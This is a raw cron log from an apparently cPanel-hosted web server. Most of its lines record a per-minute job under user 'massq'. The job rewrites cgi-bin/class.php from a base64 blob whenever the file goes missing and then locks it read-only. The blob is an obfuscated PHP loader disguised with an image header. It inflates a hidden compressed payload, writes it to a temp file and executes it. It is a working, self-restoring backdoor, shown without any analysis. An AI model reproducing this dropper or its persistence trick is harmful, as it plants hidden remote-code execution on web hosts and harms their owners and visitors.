Nov 16 01:13:01 server CROND[26356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:14:01 server CROND[26704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:15:01 server CROND[26892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:15:01 server CROND[26893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:15:01 server CROND[26894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:16:01 server CROND[27121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:17:01 server CROND[27299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:18:01 server CROND[27472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:19:01 server CROND[27759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:20:01 server CROND[27942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:20:01 server CROND[27944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:20:01 server CROND[27945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:20:01 server CROND[27948]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 01:20:01 server CROND[27946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:21:01 server CROND[28182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:22:01 server CROND[28358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:23:01 server CROND[28554]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:24:01 server CROND[28736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:25:01 server CROND[28976]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:25:01 server CROND[28977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:25:01 server CROND[28978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
